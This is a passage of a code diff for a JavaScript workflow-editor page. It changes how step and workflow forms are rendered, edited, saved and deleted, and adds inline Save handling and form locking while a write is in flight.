const defs = [...(s.data.roles.definitions || [])].sort(), tpl = offered(s.data.roles.templates).filter(r => !defs.includes(r)).sort();
|
||||
const odd = chosen.filter(r => !s.known.has(r));
|
||||
const box = (r, mark = '') => `<label class="wfg-pick"><input type="checkbox" name="role" value="${esc(r)}"${chosen.includes(r) ? ' checked' : ''} data-focus-key="${esc(`${prefix}:role:${r}`)}"> <code>${esc(r)}</code>${mark}</label>`;
|
||||
const group = (title, list, mark) => (list.length ? `<p class="wfg-pick-h">${title}</p>${list.map(r => box(r, mark)).join('')}` : '');
|
||||
return `<fieldset class="wfg-roles-pick" data-wfg-roles-pick><legend>Roles, one to eight</legend>
|
||||
return `<fieldset class="wfg-roles-pick" data-wfg-roles-pick${off ? ' disabled' : ''}><legend>Roles, one to eight</legend>
|
||||
${group('Named in this step', odd, ` <span class="wf-missing" data-wfg-pick-missing>${MISSING}</span>`)}${box('human', ' <span class="muted">a person</span>')}
|
||||
${group('This organization\'s roles', defs.filter(r => r !== 'human'), '')}${group('Role templates', tpl.filter(r => r !== 'human'), '')}</fieldset>`;
|
||||
}
|
||||
const stateSelect = (value, key) => `<label>State<select name="state" data-focus-key="${esc(key)}">${STATES.map(([v, l]) => `<option value="${v}"${value === v ? ' selected' : ''}>${esc(l)}</option>`).join('')}</select></label>`;
|
||||
function stepForm(org, s, scope, name, d) {
|
||||
const stateSelect = (value, key, off = false) => `<label>State<select name="state" data-focus-key="${esc(key)}"${off ? ' disabled' : ''}>${STATES.map(([v, l]) => `<option value="${v}"${value === v ? ' selected' : ''}>${esc(l)}</option>`).join('')}</select></label>`;
|
||||
// A new step's form: Add step puts it in the graph on this page, unsaved.
|
||||
function addForm(org, s, scope, name, d) {
|
||||
const e = d.edit, n = e.i + 1;
|
||||
return `<form class="wfg-form" data-wfg-form data-live-key="${esc(`wfg-form:${org}:${scope}:${name}:${e.mode}:${e.i}`)}" data-live-hold novalidate>
|
||||
<h2 data-wfg-form-title>${e.mode === 'add' ? `New step ${n}` : `Edit step ${n}`}</h2>
|
||||
return `<form class="wfg-form" data-wfg-form data-wfg-add-form data-live-key="${esc(`wfg-form:${org}:${scope}:${name}:add:${e.i}`)}" data-live-hold novalidate>
|
||||
<h2 data-wfg-form-title>New step ${n}</h2>
|
||||
<label>Title<input name="title" maxlength="120" value="${esc(e.title)}" autocomplete="off" data-focus-key="wfg-f-title"></label>
|
||||
${stateSelect(e.state, 'wfg-f-state')}${rolePick(s, e.roles, 'wfg-f')}
|
||||
<p class="wfg-why" data-wfg-why>${esc(e.why ?? '')}</p>
|
||||
<p class="wfg-form-acts"><button type="submit" class="ws-btn primary" data-wfg-apply data-focus-key="wfg-f-apply">${e.mode === 'add' ? 'Add step' : 'Apply'}</button> <button type="button" class="ws-btn" data-wfg-cancel data-focus-key="wfg-f-cancel">Cancel</button></p>
|
||||
<p class="note">Apply changes the graph on this page. Save writes it to the organization file.</p></form>`;
|
||||
<p class="wfg-form-acts"><button type="submit" class="ws-btn primary" data-wfg-add-step data-focus-key="wfg-f-add">Add step</button> <button type="button" class="ws-btn" data-wfg-cancel data-focus-key="wfg-f-cancel">Cancel</button></p>
|
||||
<p class="note">Add step puts it in the graph on this page. Save writes the workflow to the organization file.</p></form>`;
|
||||
}
|
||||
function bar(org, s, scope, name, d) {
|
||||
// SP17: the Save inside a panel form. It saves the whole workflow, the open step's edit with it.
|
||||
// The line that says what Save did or why it did not: next to Save, wherever Save is. A refused delete
|
||||
// (d.atBar) is said in the bar, next to Delete workflow.
|
||||
const statusOf = (org, scope, name, d) => d?.status || notes.get(dkey(org, scope, name)) || '';
|
||||
const formStatus = (org, scope, name, d) => (d?.atBar ? '' : statusOf(org, scope, name, d));
|
||||
const statusLine = text => (text ? `<p class="wfg-status" data-wfg-status>${esc(text)}</p>` : '');
|
||||
const saveButton = d => {
|
||||
const busy = !!d?.busy, on = pending(d) && !busy;
|
||||
return `<button type="button" class="ws-btn primary" data-wfg-save data-focus-key="wfg-save"${on ? '' : ' disabled'}>${busy ? 'Saving…' : 'Save'}</button>`;
|
||||
};
|
||||
// SP17: a selected step's panel is its edit form. It shows the step as the page holds it, or the edit typed
|
||||
// into it, and holds its node across a repaint only once it differs from the step (data-live-hold).
|
||||
function editForm(org, s, scope, name, steps, sel, d) {
|
||||
const i = sel - 1, st = steps[i], e = d?.edit?.mode === 'edit' && d.edit.i === i ? d.edit : null;
|
||||
const v = e ?? { title: st.title, state: st.state, roles: rolesOf(st), why: '' }, dirty = editDirty(e), off = !!d?.busy;
|
||||
return `<form class="wfg-form wfg-stepform" data-wfg-form data-wfg-step-form="${i}" data-live-key="${esc(`wfg-form:${org}:${scope}:${name}:edit:${i}`)}"${dirty ? ' data-live-hold' : ''} novalidate aria-label="${esc(`Step ${sel}`)}">
|
||||
<label>Title<input name="title" maxlength="120" value="${esc(v.title)}" autocomplete="off" data-focus-key="wfg-f-title"${off ? ' disabled' : ''}></label>
|
||||
${stateSelect(v.state, 'wfg-f-state', off)}${rolePick(s, v.roles, 'wfg-f', off)}
|
||||
<p class="wfg-why" data-wfg-why>${esc(v.why ?? '')}</p>
|
||||
<p class="wfg-form-acts">${saveButton(d)} <button type="button" class="ws-btn" data-wfg-cancel data-focus-key="wfg-f-cancel"${dirty ? '' : ' hidden'}>Reset step</button></p>${statusLine(formStatus(org, scope, name, d))}</form>`;
|
||||
}
|
||||
// SP17: with no step selected, the panel edits the workflow's title and description, which the old
|
||||
// organization-page form did. Each change goes into the pending workflow at once.
|
||||
function metaForm(org, s, scope, name, d, w) {
|
||||
return `<form class="wfg-form wfg-metaform" data-wfg-form data-wfg-meta-form data-live-key="${esc(`wfg-meta:${org}:${scope}:${name}`)}"${pending(d) ? ' data-live-hold' : ''} novalidate aria-label="Workflow">
|
||||
<label>Title<input name="title" maxlength="120" value="${esc(w.title)}" autocomplete="off" data-focus-key="wfg-m-title"${d?.busy ? ' disabled' : ''}></label>
|
||||
<label>Description<textarea name="description" maxlength="1000" rows="2" data-focus-key="wfg-m-desc"${d?.busy ? ' disabled' : ''}>${esc(w.description)}</textarea></label>
|
||||
<p class="wfg-form-acts">${saveButton(d)}</p>${statusLine(formStatus(org, scope, name, d))}</form>`;
|
||||
}
|
||||
// `inPanel`: the panel shows a form with its own Save, so the bar does not repeat it.
|
||||
function bar(org, s, scope, name, d, inPanel) {
|
||||
if (!s.data.writable) return `<p class="note wfg-ro" data-wfg-readonly>${READ_ONLY}</p>`;
|
||||
const dirty = !!d && changed(d), busy = d?.busy ? ' disabled' : '';
|
||||
const status = d?.status || notes.get(dkey(org, scope, name)) || '';
|
||||
const dirty = pending(d), busy = d?.busy ? ' disabled' : '';
|
||||
// With a panel form, the status sits with that form's Save instead.
|
||||
const status = inPanel ? (d?.atBar ? d.status : '') : statusOf(org, scope, name, d);
|
||||
const stale = d?.stale ? `<p class="wfg-stale" data-wfg-stale>${d.isNew ? `A workflow named ${esc(name)} now exists here. Save will be refused. Discard to drop this one.` : 'The organization file changed this workflow since the page read it. Save will be refused. Discard to load the current version.'}</p>` : '';
|
||||
const acts = d?.confirm
|
||||
? `<span class="wfg-confirm" data-wfg-confirm>Delete ${esc(name)} from the organization file? <button type="button" class="ws-btn danger" data-wfg-delete-yes data-focus-key="wfg-delete-yes"${busy}>Delete workflow</button> <button type="button" class="ws-btn" data-wfg-delete-no data-focus-key="wfg-delete-no"${busy}>Keep</button></span>`
|
||||
: `${dirty ? `<button type="button" class="ws-btn" data-wfg-discard data-focus-key="wfg-discard"${busy}>Discard</button> <button type="button" class="ws-btn primary" data-wfg-save data-focus-key="wfg-save"${busy}>${d.busy ? 'Saving…' : 'Save'}</button>` : ''}${d?.isNew ? '' : ` <button type="button" class="ws-btn danger" data-wfg-delete data-focus-key="wfg-delete"${busy}>Delete workflow</button>`}`;
|
||||
: `${dirty ? `<button type="button" class="ws-btn" data-wfg-discard data-focus-key="wfg-discard"${busy}>Discard</button>${inPanel ? '' : ` <button type="button" class="ws-btn primary" data-wfg-save data-focus-key="wfg-save"${busy}>${d.busy ? 'Saving…' : 'Save'}</button>`}` : ''}${d?.isNew ? '' : ` <button type="button" class="ws-btn danger" data-wfg-delete data-focus-key="wfg-delete"${busy}>Delete workflow</button>`}`;
|
||||
return `<div class="wfg-bar${dirty ? ' is-dirty' : ''}" data-wfg-bar>${dirty ? `<span class="wfg-badge" data-wfg-unsaved>Unsaved${d.isNew ? ', not in the file yet' : ''}</span>` : ''}<span class="wfg-acts">${acts}</span>
|
||||
${status ? `<p class="wfg-status" data-wfg-status>${esc(status)}</p>` : ''}${stale}</div>`;
|
||||
${statusLine(status)}${stale}</div>`;
|
||||
}
|
||||
const stepRef = (org, scope, name, steps, n) => `<a href="${esc(flowHref(org, scope, name, n))}" data-wfg-go="${n}">Step ${n}, ${esc(steps[n - 1].title)}</a>`;
|
||||
function actions(steps, sel, d) {
|
||||
const busy = d?.busy ? ' disabled' : '';
|
||||
if (!sel) return `<p class="wfg-step-acts" data-wfg-actions><button type="button" class="ws-btn" data-wfg-add data-focus-key="wfg-add"${busy}>Add a step at the end</button></p>`;
|
||||
const dis = c => (c || d?.busy ? ' disabled' : '');
|
||||
return `<p class="wfg-step-acts" data-wfg-actions><button type="button" class="ws-btn" data-wfg-edit data-focus-key="wfg-edit"${busy}>Edit step</button>
|
||||
<button type="button" class="ws-btn" data-wfg-add data-focus-key="wfg-add"${dis(steps.length >= 20)}>Add a step after</button>
|
||||
return `<p class="wfg-step-acts" data-wfg-actions><button type="button" class="ws-btn" data-wfg-add data-focus-key="wfg-add"${dis(steps.length >= 20)}>Add a step after</button>
|
||||
<button type="button" class="ws-btn" data-wfg-up data-focus-key="wfg-up"${dis(sel === 1)}>Move earlier</button>
|
||||
<button type="button" class="ws-btn" data-wfg-down data-focus-key="wfg-down"${dis(sel === steps.length)}>Move later</button>
|
||||
<button type="button" class="ws-btn danger" data-wfg-remove data-focus-key="wfg-remove"${dis(steps.length === 1)}>Remove step</button></p>`;
|
||||
}
|
||||
function detail(org, s, scope, name, steps, sel, d) {
|
||||
function detail(org, s, scope, name, steps, sel, d, w) {
|
||||
const writable = !!s.data.writable;
|
||||
if (writable && d?.edit) return `<section class="panel wfg-detail" data-wfg-detail>${stepForm(org, s, scope, name, d)}</section>`;
|
||||
if (!sel) return `<section class="panel wfg-detail" data-wfg-detail><h2>Step details</h2><p class="note">Select a step to see its roles, the state it puts a task in and the step it hands on to.</p>${writable ? actions(steps, 0, d) : ''}</section>`;
|
||||
if (writable && d?.edit?.mode === 'add') return `<section class="panel wfg-detail" data-wfg-detail>${addForm(org, s, scope, name, d)}</section>`;
|
||||
if (!sel) {
|
||||
return writable
|
||||
? `<section class="panel wfg-detail" data-wfg-detail><h2>This workflow</h2>${metaForm(org, s, scope, name, d, w)}<p class="note">Select a step in the graph to change it.</p>${actions(steps, 0, d)}</section>`
|
||||
: `<section class="panel wfg-detail" data-wfg-detail><h2>Step details</h2><p class="note">Select a step to see its roles, the state it puts a task in and the step it hands on to.</p></section>`;
|
||||
}
|
||||
const st = steps[sel - 1], roles = rolesOf(st);
|
||||
const roleList = roles.map(r => r === 'human' ? '<code>human</code> (a person)' : s.known.has(r) ? `<code>${esc(r)}</code>` : `<code>${esc(r)}</code> <span class="wf-missing" data-wfg-missing>${MISSING}</span>`).join(', ');
|
||||
return `<section class="panel wfg-detail" data-wfg-detail><h2 data-wfg-detail-title>${esc(st.title)}</h2><dl class="wfg-dl">
|
||||
<dt>Position</dt><dd data-wfg-field="position">Step ${sel} of ${steps.length}</dd>
|
||||
const fields = writable ? '' : `
|
||||
<dt>Roles</dt><dd data-wfg-field="roles">${roleList || '<span class="muted">None recorded</span>'}</dd>
|
||||
<dt>Puts the task in</dt><dd data-wfg-field="state">${esc(stateLabel(st))}</dd>
|
||||
<dt>Puts the task in</dt><dd data-wfg-field="state">${esc(stateLabel(st))}</dd>`;
|
||||
return `<section class="panel wfg-detail" data-wfg-detail><h2 data-wfg-detail-title>${esc(st.title)}</h2>${writable ? editForm(org, s, scope, name, steps, sel, d) : ''}<dl class="wfg-dl">
|
||||
<dt>Position</dt><dd data-wfg-field="position">Step ${sel} of ${steps.length}</dd>${fields}
|
||||
<dt>Comes after</dt><dd data-wfg-field="after">${sel > 1 ? stepRef(org, scope, name, steps, sel - 1) : 'Nothing: this is the first step'}</dd>
|
||||
<dt>Hands on to</dt><dd data-wfg-field="next">${sel < steps.length ? stepRef(org, scope, name, steps, sel + 1) : 'Nothing: this is the last step'}</dd>
|
||||
</dl>${writable ? actions(steps, sel, d) : ''}<p class="note">The workflow file records no gate or inputs for a step, and no read says which step a task is on now.</p></section>`;
|
||||
@@ -475,9 +414,10 @@
|
||||
if (!fresh && !d) return { title: esc(name), sub: '', body: `${note ? `<p class="wfg-status" data-wfg-status>${esc(note)}</p>` : ''}<p class="note" data-wfg-unknown>No workflow named ${esc(name)} in ${scope ? `project ${esc(scope)}` : 'the organization'}.</p>` };
|
||||
const w = d ? d.flow : norm(fresh), steps = w.steps;
|
||||
const raw = Number(q.get('step')), sel = Number.isInteger(raw) && raw >= 1 && raw <= steps.length ? raw : 0;
|
||||
if (d && !d.busy) park(d, sel - 1);
|
||||
const sub = `${esc(scopeLabel(scope))}, <code>${esc(name)}</code>, ${count(steps.length)}.${w.description ? ` ${esc(w.description)}` : ''}`;
|
||||
const body = steps.length
|
||||
? `${bar(org, s, scope, name, d)}<div class="wfg-frame" data-wfg-frame>${graph(org, s, scope, name, steps, sel)}</div>${detail(org, s, scope, name, steps, sel, d)}`
|
||||
? `${bar(org, s, scope, name, d, !!s.data.writable && d?.edit?.mode !== 'add')}<div class="wfg-frame" data-wfg-frame>${graph(org, s, scope, name, d ? preview(d) : steps, sel)}</div>${detail(org, s, scope, name, steps, sel, d, w)}`
|
||||
: `${bar(org, s, scope, name, d)}<p class="note">This workflow has no steps.</p>`;
|
||||
return { title: esc(w.title || name), sub, body };
|
||||
}
|
||||
@@ -524,15 +464,17 @@
|
||||
const attr = name === null ? 'data-wfg-list' : 'data-wfg-page';
|
||||
const wrapIt = (title, sub, body) => `<article class="ws wfg" ${attr} data-wfg-org="${esc(org)}"${name === null ? '' : ` data-wfg-name="${esc(name)}"`}>${head(title, sub)}${info.unread}${body}</article>`;
|
||||
// Review P3: a change held for this organization that the page cannot draw now is said to be kept.
|
||||
const held = [...drafts].filter(([k, d]) => JSON.parse(k)[0] === org && (changed(d) || editDirty(d.edit))).map(([k]) => JSON.parse(k)[2]);
|
||||
const keptNote = held.length ? `<p class="note" data-wfg-held>Unsaved change to ${held.map(n => esc(n)).join(', ')} is kept on this page. It comes back when the workflows can be read.</p>` : '';
|
||||
const names = held(org), s = states.get(org);
|
||||
const keptNote = !names.length ? '' : s?.readError && s.data
|
||||
? `<p class="note" data-wfg-error>The last workflows read failed: ${esc(s.readError.replace(/\.$/, ''))}. The page shows the read before it.</p><p class="note" data-wfg-held>Unsaved change to ${names.map(n => esc(n)).join(', ')} is kept on this page.</p>`
|
||||
: `<p class="note" data-wfg-held>Unsaved change to ${names.map(n => esc(n)).join(', ')} is kept on this page. It comes back when the workflows can be read.</p>`;
|
||||
// E2E6 P2-8: a stopped bus is not read; the note above says why.
|
||||
if (info.stopped) return wrapIt(name === null ? 'Workflows' : esc(name), `Workflows in ${esc(info.label)}.`, keptNote);
|
||||
const s = states.get(org);
|
||||
if (!s?.data) return wrapIt(name === null ? 'Workflows' : esc(name), `Workflows in ${esc(info.label)}.`, `<p class="note" data-wfg-error>${esc(s?.error ?? 'Workflows could not be read.')}</p>${keptNote}`);
|
||||
if (name === null) return wrapIt('Workflows', `The steps a task goes through in ${esc(info.label)}, in order, with the roles that do each.${s.data.writable ? ' Open one to change it.' : ''}`, listBody(org, s, info.label));
|
||||
const lastRead = s.readError ? keptNote : '';
|
||||
if (name === null) return wrapIt('Workflows', `The steps a task goes through in ${esc(info.label)}, in order, with the roles that do each.${s.data.writable ? ' Open one to change it.' : ''}`, lastRead + listBody(org, s, info.label));
|
||||
const g = graphBody(org, s, name, q);
|
||||
return wrapIt(g.title, g.sub, g.body);
|
||||
return wrapIt(g.title, g.sub, lastRead + g.body);
|
||||
}
|
||||
async function page(org, name, q) {
|
||||
const info = await orgOf(org);
|
||||
@@ -582,8 +524,39 @@
|
||||
say(text);
|
||||
}
|
||||
|
||||
// SP17: the selected step's form, its edit (made at the first change) and its message line.
|
||||
const stepFormEl = () => document.querySelector('#bus-view [data-wfg-page] [data-wfg-step-form]');
|
||||
// The open step edit carried into the pending workflow: '' when there was nothing to carry or it went in,
|
||||
// or the reason it cannot (the edit is kept and the form says why).
|
||||
function carry(d) {
|
||||
const e = d?.edit;
|
||||
if (!e || e.mode !== 'edit') return '';
|
||||
if (!editDirty(e)) { d.edit = null; return ''; }
|
||||
const st = { title: e.title.trim(), state: e.state, roles: [...e.roles] };
|
||||
const refused = stepRefusal(st, e.i + 1);
|
||||
if (refused) { const form = stepFormEl(); if (form) why(form, e, refused); else { e.why = refused; say(refused); } return refused; }
|
||||
d.flow.steps[e.i] = st; d.edit = null;
|
||||
return '';
|
||||
}
|
||||
// SP17 review: an open edit of a step other than the one shown (a card step link, the address or Back opened
|
||||
// another step) goes into the pending workflow as typed, never dropped. A step the save check refuses is then
|
||||
// named by Save, which checks every step.
|
||||
function park(d, i) {
|
||||
const e = d?.edit;
|
||||
if (!e || e.mode !== 'edit' || e.i === i) return;
|
||||
if (editDirty(e) && d.flow.steps[e.i]) d.flow.steps[e.i] = { title: e.title.trim(), state: e.state, roles: [...e.roles] };
|
||||
d.edit = null;
|
||||
}
|
||||
// SP17 review: while a Save or delete is in flight the form's fields take no typing, so nothing typed then is
|
||||
// dropped when the answer redraws the form. Drawn off when busy; a held form (data-live-hold) is set here.
|
||||
const lockForms = off => document.querySelectorAll('#bus-view [data-wfg-page] :is([data-wfg-step-form],[data-wfg-meta-form])').forEach(f =>
|
||||
f.querySelectorAll('input[name="title"],textarea,select,[data-wfg-roles-pick]').forEach(c => { c.disabled = off; }));
|
||||
const toAddTitle = () => document.querySelector('#bus-view [data-wfg-page] [data-wfg-add-form] input[name="title"]')?.focus();
|
||||
// Put focus back in the step form's title after a refusal (the form may be a held node).
|
||||
const toTitle = () => { const f = stepFormEl()?.elements.title; if (f) { f.focus(); f.setSelectionRange(f.value.length, f.value.length); } };
|
||||
|
||||
document.addEventListener('click', async ev => {
|
||||
const btn = ev.target.closest('[data-wfg-new],[data-wfg-new-cancel],[data-wfg-edit],[data-wfg-add],[data-wfg-up],[data-wfg-down],[data-wfg-remove],[data-wfg-cancel],[data-wfg-discard],[data-wfg-save],[data-wfg-delete],[data-wfg-delete-no],[data-wfg-delete-yes]');
|
||||
const btn = ev.target.closest('[data-wfg-new],[data-wfg-new-cancel],[data-wfg-add],[data-wfg-up],[data-wfg-down],[data-wfg-remove],[data-wfg-cancel],[data-wfg-discard],[data-wfg-save],[data-wfg-delete],[data-wfg-delete-no],[data-wfg-delete-yes]');
|
||||
if (!btn || btn.disabled) return;
|
||||
if (btn.matches('[data-wfg-new],[data-wfg-new-cancel]')) {
|
||||
const org = btn.closest('[data-wfg-list]')?.dataset.wfgOrg;
|
||||
@@ -603,15 +576,20 @@
|
||||
say(`Discarded the change to ${name}.`);
|
||||
return paint('wfg-delete');
|
||||
}
|
||||
if (btn.hasAttribute('data-wfg-save')) return save(at, btn);
|
||||
if (btn.hasAttribute('data-wfg-save')) return save(at);
|
||||
if (btn.matches('[data-wfg-delete-yes]')) return remove(at);
|
||||
const d = draftFor(org, s, scope, name) ?? drafts.get(key);
|
||||
if (!d) return;
|
||||
d.status = '';
|
||||
d.status = ''; d.atBar = false;
|
||||
const steps = d.flow.steps;
|
||||
if (btn.hasAttribute('data-wfg-edit') && steps[sel - 1]) { openForm(d, 'edit', sel - 1, steps[sel - 1]); return paint('wfg-f-title'); }
|
||||
if (btn.hasAttribute('data-wfg-cancel')) {
|
||||
// The new step's Cancel goes back to the step it was opened from; the step form's Reset puts the step back.
|
||||
if (d.edit?.mode === 'edit') { d.edit = null; say(`Step ${sel} is back as the page holds it.`); return paint('wfg-f-title'); }
|
||||
d.edit = null; select(sel); return paint(sel ? 'wfg-f-title' : 'wfg-add');
|
||||
}
|
||||
// Moving, adding or removing a step takes the open step's edit with it first.
|
||||
if (carry(d)) return toTitle();
|
||||
if (btn.hasAttribute('data-wfg-add')) { openForm(d, 'add', sel ? sel : steps.length, null); return paint('wfg-f-title'); }
|
||||
if (btn.hasAttribute('data-wfg-cancel')) { const back = d.edit?.mode === 'edit' ? d.edit.i + 1 : sel; d.edit = null; select(back); return paint(back ? `wfg-step:${back}` : 'wfg-add'); }
|
||||
if (btn.matches('[data-wfg-up],[data-wfg-down]') && steps[sel - 1]) {
|
||||
const to = btn.hasAttribute('data-wfg-up') ? sel - 1 : sel + 1;
|
||||
if (to < 1 || to > steps.length) return;
|
||||
@@ -631,56 +609,110 @@
|
||||
if (btn.hasAttribute('data-wfg-delete')) { d.confirm = true; return paint('wfg-delete-no'); }
|
||||
if (btn.hasAttribute('data-wfg-delete-no')) { d.confirm = false; return paint('wfg-delete'); }
|
||||
});
|
||||
// SP17: the page's read brought up to date from a write's answer: the workflow as sent (or gone) and the
|
||||
// revision the write answered. Without a revision in the answer the page reads the file again.
|
||||
async function written(org, s, scope, name, workflow, answer) {
|
||||
const now = states.get(org) ?? s, flows = now.data ? flowsIn(now, scope) : null;
|
||||
if (plain(flows) && typeof answer?.revision === 'string' && /^[0-9a-f]{64}$/.test(answer.revision)) {
|
||||
if (workflow) flows[name] = workflow; else delete flows[name];
|
||||
now.data.revision = answer.revision;
|
||||
return;
|
||||
}
|
||||
try { await read(org, now); } catch { /* the next poll reads it */ }
|
||||
}
|
||||
async function save({ org, name, scope, s, key }) {
|
||||
const d = drafts.get(key);
|
||||
if (!d || d.busy) return;
|
||||
// Review P2: the open step form's edits are not in the workflow yet; saving now would drop them unsaid.
|
||||
const refused = (editDirty(d.edit) ? `Not saved: step ${d.edit.i + 1} has edits not applied. Apply or cancel the step first.` : '')
|
||||
|| refusal(s, { isNew: d.isNew, scope, name, steps: d.flow.steps });
|
||||
// SP17 review: a new step typed in the add form is not saved over or dropped: Save says so and keeps the
|
||||
// form. So is one in which only the state was changed. An add form left as it opened is closed and the
|
||||
// rest is saved.
|
||||
if (d.edit?.mode === 'add') {
|
||||
if (d.edit.title.trim() || d.edit.roles.length || editDirty(d.edit)) {
|
||||
d.atBar = false; d.status = `Not saved: new step ${d.edit.i + 1} is not added yet. Press Add step, or Cancel to drop it.`;
|
||||
say(d.status); paint(); return toAddTitle();
|
||||
}
|
||||
d.edit = null;
|
||||
}
|
||||
// SP17: the open step's edit goes in with the save; one the save check refuses stays in its form.
|
||||
const unfit = carry(d);
|
||||
d.atBar = false;
|
||||
if (unfit) { d.status = `Not saved: ${unfit}`; say(d.status); paint(); return toTitle(); }
|
||||
const refused = refusal(s, { isNew: d.isNew, scope, name, steps: d.flow.steps });
|
||||
if (refused) { d.status = refused; say(refused); return paint('wfg-save'); }
|
||||
d.busy = true; d.status = 'Saving…'; paint();
|
||||
if (!changed(d)) return paint();
|
||||
d.busy = true; d.status = 'Saving…'; paint(); lockForms(true);
|
||||
try {
|
||||
await saveFlow(org, s, { scope, name, revision: d.revision, workflow: shape(d.flow) });
|
||||
const workflow = shape(d.flow);
|
||||
await writing(org, async () => written(org, s, scope, name, workflow, await saveFlow(org, s, { scope, name, revision: d.revision, workflow })));
|
||||
drafts.delete(key);
|
||||
notes.set(key, `Saved ${name}.`);
|
||||
try { await read(org, states.get(org) ?? s); } catch { /* the next poll reads it */ }
|
||||
say(`Saved ${name}.`);
|
||||
paint(selected() ? `wfg-step:${selected()}` : 'wfg-delete');
|
||||
// Focus stays in the form it was saved from, so the line saying Saved stays in view (at 390 a jump to the
|
||||
// graph node put it below the fold).
|
||||
paint(selected() ? 'wfg-f-title' : 'wfg-m-title');
|
||||
} catch (error) {
|
||||
d.busy = false;
|
||||
d.status = kept[error.code] ?? `Not saved: ${error.message} Your change is kept.`;
|
||||
say(d.status);
|
||||
paint('wfg-save');
|
||||
paint('wfg-save'); lockForms(false);
|
||||
}
|
||||
}
|
||||
async function remove({ org, name, scope, s, key }) {
|
||||
const d = drafts.get(key);
|
||||
if (!d || d.busy) return;
|
||||
d.busy = true; paint();
|
||||
d.busy = true; paint(); lockForms(true);
|
||||
try {
|
||||
// The revision of the workflow the page shows (settle moves it on only while this workflow is unchanged):
|
||||
// a change made to it since is refused, not deleted over.
|
||||
await removeFlow(org, s, { scope, name, revision: d.revision });
|
||||
await writing(org, async () => written(org, s, scope, name, null, await removeFlow(org, s, { scope, name, revision: d.revision })));
|
||||
drafts.delete(key);
|
||||
notes.set(dkey(org, '', ''), `Deleted ${name}.`);
|
||||
say(`Deleted ${name}.`);
|
||||
try { await read(org, s); } catch { /* the next poll reads it */ }
|
||||
location.hash = `${orgHash(org)}/workflows`;
|
||||
} catch (error) {
|
||||
d.busy = false; d.confirm = false;
|
||||
d.busy = false; d.confirm = false; d.atBar = true;
|
||||
// Recheck B: Discard shows only with a pending change; without one the next read draws the current version.
|
||||
d.status = error.code === 'revision-conflict' ? `Not deleted: the organization file changed this workflow since the page read it. ${changed(d) ? 'Discard to load the current version.' : 'The page shows the current version at its next read.'}` : `Not deleted: ${error.message}`;
|
||||
say(d.status);
|
||||
paint('wfg-delete');
|
||||
paint('wfg-delete'); lockForms(false);
|
||||
}
|
||||
}
|
||||
// SP17: after a change in a panel form, the bar and the form's own buttons follow it without redrawing the
|
||||
// form, so the caret stays where it is.
|
||||
function follow(at, d, form) {
|
||||
const old = document.querySelector('#bus-view [data-wfg-page] [data-wfg-bar]');
|
||||
if (old) old.outerHTML = bar(at.org, at.s, at.scope, at.name, d, true);
|
||||
const save = form.querySelector('[data-wfg-save]');
|
||||
if (save) save.disabled = !pending(d) || !!d.busy;
|
||||
form.querySelector('[data-wfg-cancel]')?.toggleAttribute('hidden', !editDirty(d.edit));
|
||||
form.toggleAttribute('data-live-hold', form.matches('[data-wfg-step-form]') ? editDirty(d.edit) : pending(d));
|
||||
// A status from before this change no longer applies.
|
||||
const text = formStatus(at.org, at.scope, at.name, d), line = form.querySelector('[data-wfg-status]');
|
||||
if (line && !text) line.remove(); else if (line) line.textContent = text;
|
||||
// The graph draws the step as typed, so the box shows the change before Save.
|
||||
const frame = document.querySelector('#bus-view [data-wfg-page] [data-wfg-frame]');
|
||||
if (frame && form.matches('[data-wfg-step-form]')) frame.innerHTML = graph(at.org, at.s, at.scope, at.name, preview(d), Number(form.dataset.wfgStepForm) + 1);
|
||||
}
|
||||
// Every change in a form goes into the page's state at once, so any repaint draws what was entered.
|
||||
document.addEventListener('input', ev => {
|
||||
const form = ev.target.closest('[data-wfg-form]');
|
||||
if (!form) return;
|
||||
if (form.matches('[data-wfg-newform]')) { const f = newForms.get(shown.org); if (f) readForm(form, f); return; }
|
||||
const at = here(form), d = at && drafts.get(at.key);
|
||||
if (d?.edit) readForm(form, d.edit);
|
||||
const at = here(form);
|
||||
if (!at) return;
|
||||
if (form.matches('[data-wfg-add-form]')) { const d = drafts.get(at.key); if (d?.edit) readForm(form, d.edit); return; }
|
||||
const d = draftFor(at.org, at.s, at.scope, at.name) ?? drafts.get(at.key);
|
||||
if (!d || d.busy) return;
|
||||
d.status = ''; d.atBar = false;
|
||||
if (form.matches('[data-wfg-meta-form]')) {
|
||||
d.flow.title = form.elements.title.value;
|
||||
d.flow.description = form.elements.description.value;
|
||||
return follow(at, d, form);
|
||||
}
|
||||
const i = Number(form.dataset.wfgStepForm);
|
||||
if (!(d.edit?.mode === 'edit' && d.edit.i === i)) { if (!d.flow.steps[i]) return; park(d, i); openForm(d, 'edit', i, d.flow.steps[i]); }
|
||||
readForm(form, d.edit);
|
||||
follow(at, d, form);
|
||||
});
|
||||
document.addEventListener('submit', ev => {
|
||||
const form = ev.target.closest?.('[data-wfg-form]');
|
||||
@@ -700,52 +732,87 @@
|
||||
location.hash = flowHref(org, f.scope, f.name, 1);
|
||||
return;
|
||||
}
|
||||
const at = here(form), d = at && drafts.get(at.key);
|
||||
const at = here(form);
|
||||
if (!at) return;
|
||||
// Enter in the step or workflow form is its Save.
|
||||
if (!form.matches('[data-wfg-add-form]')) { if (!form.querySelector('[data-wfg-save]')?.disabled) save(at); return; }
|
||||
const d = drafts.get(at.key);
|
||||
if (!d?.edit) return;
|
||||
readForm(form, d.edit);
|
||||
const e = d.edit, st = { title: e.title.trim(), state: e.state, roles: e.roles };
|
||||
const refused = stepRefusal(st, e.i + 1);
|
||||
if (refused) return why(form, e, refused);
|
||||
if (e.mode === 'add') d.flow.steps.splice(e.i, 0, st); else d.flow.steps[e.i] = st;
|
||||
d.flow.steps.splice(e.i, 0, st);
|
||||
d.edit = null; d.status = '';
|
||||
select(e.i + 1);
|
||||
say(`${e.mode === 'add' ? 'Added' : 'Changed'} step ${e.i + 1}. Not saved yet.`);
|
||||
say(`Added step ${e.i + 1}. Not saved yet.`);
|
||||
paint('wfg-save');
|
||||
});
|
||||
// Escape in a step form is Cancel.
|
||||
// Escape in a step form is its Cancel or Reset.
|
||||
document.addEventListener('keydown', ev => {
|
||||
if (ev.key !== 'Escape') return;
|
||||
const form = ev.target.closest?.('[data-wfg-form]:not([data-wfg-newform])');
|
||||
form?.querySelector('[data-wfg-cancel]')?.click();
|
||||
const form = ev.target.closest?.('[data-wfg-add-form],[data-wfg-step-form]');
|
||||
const b = form?.querySelector('[data-wfg-cancel]');
|
||||
if (b && !b.hidden) b.click();
|
||||
});
|
||||
// The organization-switch and restart guards (display.js, console-restart.js) ask before these are lost.
|
||||
function hasDraft() {
|
||||
